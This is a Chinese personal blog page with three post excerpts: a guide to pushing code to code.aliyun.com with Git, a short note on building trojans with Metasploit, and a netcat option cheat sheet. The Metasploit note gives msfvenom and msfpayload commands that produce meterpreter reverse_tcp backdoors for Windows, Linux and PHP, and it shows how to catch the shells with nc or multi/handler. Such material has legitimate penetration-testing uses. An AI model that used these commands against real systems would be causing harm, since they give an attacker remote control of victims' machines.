春风博客

风继续吹

Git 推送到 阿里云代码管理平台

Git 推送到 code.aliyun.com

1.安装Git(本地)

2.执行(Git 全局设置)(本地)

  • git config --global user.name "你的名字"
  • git config --global user.email "你的邮箱"

3.生成SSH keys(本地)

  • ssh-keygen -t rsa -C "你的邮箱" 位置默认 密码为空

4.找到生成的公钥id_rsa.pub(本地)
5.复制id_rsa.pub公钥内容(本地)

6.在code.aliyun.com 设置->SSH公钥中添加公钥添加公钥内容(阿里云)
7.在阿里云创建项目或在本地使用

git clone git@code.aliyun.com:项目组/项目名.git
cd 项目名
touch README.md
git add README.md
git commit -m "add README"
git push -u origin master 或 git push --set-upstream origin master

创建项目

8.如果是通过阿里云创建的项目在本地使用

cd 项目文件夹
git init
git remote add origin git@code.aliyun.com:阿里云创建的项目组/阿里云创建的项目名.git
git add .
git commit
git push -u origin master 或 git push --set-upstream origin master

9.完成 开始Git协作开发 可在阿里云中为项目或项目组添加成员 并在成员电脑执行(1,2,3,4,5,6,A)的动作

A. 项目已经创建并已经拥有内容直接使用

git init
git remote add origin (GIT项目地址)
git pull 

开始协作开发

PS:
另一种授权方式 可通过code.aliyun.com账号密码授权

项目->点击一个项目->右上角编辑按钮->分支->Develop角色可以推送(选中)或取消分支保护
然后在本地执行(1,2,8)步操作
在授权询问时输入 你的code.aliyun.com的账号密码
可以通过下面命令设置是否在每次都弹出需要账号密码授权操作
git config --system --unset credential.helper 每次都要输入密码
git config --global credential.helper store保存密码
阅读更多

Metasploit 生成木马

生成木马

msfvenom

  • msfvenom -p payload payloadOptions -f 输出类型 > 文件名.类型
  • 例子

    • msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=80 -f exe > shell.exe
    • msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f elf > shell.elf

msfpayload

  • msfpayload payload payloadOptions -o 输出文件
  • 例子

    • msfpayload php/meterpreter/reverse_tcp LHOST=192.168.133.128 LPORT=5555 -o /root/Desktop/1.php

获得反弹shell

  • nc -l -v -p 80使用nc监听

NC瑞士军刀

  • msfconsole

    • exploit/multi/handler
    • set 使用的payload
    • 设置payloadoptions
    • exploit开始监听
阅读更多

nc 瑞士军刀

netcat

-l 监听端口 nc -l 80
-p 老版本监听端口需要用到
-s 指定发送数据的源IP nc -l 192.168.1.1
-u 指定nc使用UDP协议,默认为TCP
-v 显示交互和错误信息
-w 超时时间,秒
-z 扫描时不发送任何数据

更多信息百度百科

阅读更多